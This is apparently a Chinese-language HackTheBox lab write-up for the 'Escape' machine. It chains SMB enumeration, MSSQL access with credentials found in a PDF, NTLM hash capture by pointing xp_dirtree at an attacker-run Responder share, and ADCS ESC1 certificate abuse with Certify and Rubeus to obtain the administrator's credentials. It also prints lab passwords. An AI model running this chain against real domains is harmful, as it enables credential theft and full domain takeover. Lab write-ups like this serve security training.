HTB-M-Escape

讲的是ADCS-ESC1+MSSQL数据库引起的ntlm窃取+smb信息泄露

信息收集

dns没搜集到有用信息

1
dig any sequel.htb 

smb试试存在RID,收集用户信息作为保存

image-20250519154635869

smb空密码连接有文件

image-20250519155241682

pdf里有个数据库的账户密码,还有几个内部人员姓名

image-20250519160006034

进入数据库查询一下

1
SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'spt_fallback_db';
1
SELECT TOP 10 * FROM spt_fallback_db;

没查询到有用信息,也没权限命令执行,于是采用中间人攻击

在开启python3 Responder.py -I tun0

然后用数据库

读取我主机的共享文件

1
EXEC xp_dirtree '\\10.10.16.14\share', 1, 1

image-20250519161936853

获取新账户

1
2
sql_svc
REGGIE1234ronnie

查看一下服务文件之类的

image-20250519163413613

image-20250519163535642

这有个疑似密码当成用户名输入的

1
evil-winrm -i 10.10.11.202 -u ryan.cooper -p NuclearMosquito3

image-20250519163910284

bloodhound没有获取到有用信息,看看

ADCS

存在

1
2
3
                                      SEQUEL.HTB\Administrator
[!] Vulnerabilities
ESC1 : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
1
2
3
4
5
6
7
8
9
10
11
12
.\Certify.exe find /vulnerable /currentuser

.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
cert.pem改成pfx

.\Rubeus.exe asktgt /user:administrator /certificate:C:\Users\Ryan.Cooper\Documents\cert.pfx
利用凭证(只获取 TGT)

.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /show /nowrap
直接出ntlm

参考